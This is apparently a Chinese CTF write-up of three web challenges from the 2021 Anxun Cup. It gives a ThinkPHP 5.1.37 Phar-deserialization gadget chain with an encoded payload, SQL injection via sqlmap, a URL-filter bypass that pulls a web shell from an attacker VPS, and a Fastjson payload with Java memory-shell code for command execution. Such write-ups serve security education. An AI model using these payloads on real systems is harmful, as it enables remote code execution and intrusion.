[安洵杯2021] Web部分WriteUp

EZ_TP

www.zip源码泄漏,在控制器下可以看到hello控制器有一个可以利用变量覆盖触发Phar反序列化的地方:

    public function hello()
    {
        highlight_file(__FILE__);
        $hello = base64_encode('Welcome to D0g3');
        if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
        if(isset($_REQUEST['world']))
        {
            parse_str($_REQUEST['world'],$haha);
            extract($haha);
        }
        if (!isset($a)) {
            $a = 'hello.txt';
        }
        $s = base64_decode($hello);
        file_put_contents('hello.txt', $s);
        if(isset($a))
        {
            echo (file_get_contents($a));
        }
    }

然后找一下ThinkPHP 5.1.37的反序列化漏洞,用exp来生成一个phar包:

<!--?php
namespace think;
abstract class Model
{
    protected $append = [];
    private $data = [];
    function __construct()
    {
        $this--->append = ["ethan" => ["dir", "calc"]];
        $this->data = ["ethan" => new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        'var_method'       => '_method',
        'var_ajax'         => '_ajax',
        'var_pjax'         => '_pjax',
        'var_pathinfo'     => 's',
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        'default_filter'   => '',
        'url_domain_root'  => '',
        'https_agent_name' => '',
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        'url_html_suffix'  => 'html',
    ];
    function __construct()
    {
        $this->filter = "system";
        $this->config = ["var_ajax" => ''];
        $this->hook = ["visible" => [$this, "isAjax"]];
    }
}

namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model; 
class Pivot extends Model{
}

use think\process\pipes\Windows;
$a = new Windows();
@unlink('phar.phar');    
$phar = new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();

写个python脚本读取一下Phar包的内容然后对其进行base64编码:

import base64
f = open('phar.phar','rb')
text = f.read()
f.close()
payload = base64.b64encode(text)
print(str(payload))
#IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0KwQEAAAEAAAARAAAAAQAAAAAAiwEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NToiZXRoYW4iO2E6Mjp7aTowO3M6MzoiZGlyIjtpOjE7czo0OiJjYWxjIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiZXRoYW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19CAAAAHRlc3QudHh0BAAAAOXGoWEEAAAADH5%2F2KQBAAAAAAAAdGVzdBR0TzqYRzNuS2fEDAKxuqUUUlooAgAAAEdCTUI%3D

然后就是构造变量覆盖,写入phar文件,一定要对world后面的data进行URL编码:

/index.php/index/index/hello?id=cat%20/y0u_f0und_It

POST:
world=a=phar://hello.txt%26hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0KwQEAAAEAAAARAAAAAQAAAAAAiwEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NToiZXRoYW4iO2E6Mjp7aTowO3M6MzoiZGlyIjtpOjE7czo0OiJjYWxjIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiZXRoYW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19CAAAAHRlc3QudHh0BAAAAOXGoWEEAAAADH5%2F2KQBAAAAAAAAdGVzdBR0TzqYRzNuS2fEDAKxuqUUUlooAgAAAEdCTUI%3D

EZ_CMS

前端存在一个没有过滤的SQL注入点:

GET /Core/Program/Ant_Aajx.php?Antype=totalSession&price=10 HTTP/1.1
Host: 81.69.27.32:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eq70pt4ml3pkn619221laj76k4; __atuvc=1%7C47; __atuvs=61a1c0e3bd23a961000; CurID=*
Connection: close

然后直接sqlmap注入就可以:
python sqlmap.py -r 1.txt --dbms MySQL --level 2 --dump -T sc_user -C user_admin,user_ps
得到用户名和密码都是admin888,就可以登陆后台
通过审计代码在CxWsbN_AR4/Ant_Curl.php下可以看到:

if (!empty($url)){
	  $fn = explode("/", $url);
    $filename =end($fn);
    $fndir = str_replace(".zip", "", $filename);
    //下载目录
	  $save_dir = "../Soft/Zip/";
	  //解压目录
	  $open_dir = "../Soft/Uzip/";
	  //备份目录
	  $bak_dir = "../Soft/Bak/"; 
	  //下载文件
    $result =getFile($url, $save_dir, $filename,1);

跟进getFile()方法,在CxWsbN_AR4/Ant_Function.php中找到相关定义:

function getFile($url, $save_dir = '', $filename = '', $type = 0)
{
  if (trim($url) == '') {
    return false;
  }
  if (trim($save_dir) == '') {
    $save_dir = './';
  }
  if (0 !== strrpos($save_dir, '/')) {
    $save_dir.= '/';
  }
  //创建保存目录
  if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
    return false;
  }
  //获取远程文件所采用的方法
  if ($type) {
    $ch = curl_init();
    $timeout = 60;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_ENCODING,'gzip');    
    $content = curl_exec($ch);
    curl_close($ch);
  } else {
    ob_start();
    readfile($url);
    $content = ob_get_contents();
    ob_end_clean();
  }
      $fp2 = @fopen($save_dir.$filename, 'a');
      fwrite($fp2, $content);
      fclose($fp2);
      unset($content, $url);
   if (file_exists($save_dir.$filename)){
        $size = filesize($save_dir.$filename);
        if ( $size<100){
          return false;
          exit;
        }else{
          return true;
        }

   }else{
      return false;
   }
}

可以curl,也就是说我们可以通过这个功能来下载下来任意文件,但是在CxWsbN_AR4/Ant_Curl.php调用getFile()方法前还有一段检测:

if (isset($_GET['url'])){
	$dname=explode("/", $_GET['url']);
 	if(strpos($dname[2],'sem-cms.cn') !== false){ 
	   $url=$_GET['url'];
	}else{
		echo("<script language='javascript'>alert('非法操作');window.history.back(-1);</script>");
	    exit;
	}
}else{
	$url="";
}

对url进行了检查,但是我们依旧可以利用curl的一些性质来进行绕过,
构造出http://sem-cms.cn@ip/shell.php即可从VPS上下载shell到服务器上

JSON

/proc/self/fd/6 是源代码。下载打开后发现/json路由下面可以到parse的点

参考https://github.com/Firebasky/Fastjson 可以构建出如下的初步payload

Poc={"a":{"@type":"java.lang.Class","val":"App.Exec"},"b":{"@type":"java.util.Currency","val":{"currency":{"abc":{"@type":"java.util.Map","aaa":{"@type":"App.Exec","ClassByte":"","cmd":"calc"}}}}}}

然后发现没有权写文件和出网,考虑内存马回显

package App;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
public class echoevil{
    static {
        HttpServletRequest request =((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
        String resHeader=request.getParameter ( "cmd" );
        java.io.InputStream in = null;
        try {
            in = Runtime.getRuntime().exec(resHeader).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
        BufferedReader br = null;
        try {
            br = new BufferedReader (new InputStreamReader(in, "GBK"));
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
        String line = null;
        StringBuilder sb = new StringBuilder();
        while (true) {
            try {
                if (!((line = br.readLine()) != null)) break;
            } catch (IOException e) {
                e.printStackTrace();
            }
            sb.append(line);
            sb.append("\n");
        }
        java.io.PrintWriter out = null;
        try {
            out = new java.io.PrintWriter(response.getOutputStream());
        } catch (IOException e) {
            e.printStackTrace();
        }
        out.write(sb.toString ());
        out.flush();
        out.close();
    }
    public void Exec(String cmd)throws Exception{
        Runtime.getRuntime().exec(cmd);
    }
}

生成一下,就可以RCE

posted @ 2021-11-30 19:55  Ye'sBlog  阅读(323)  评论(0编辑  收藏  举报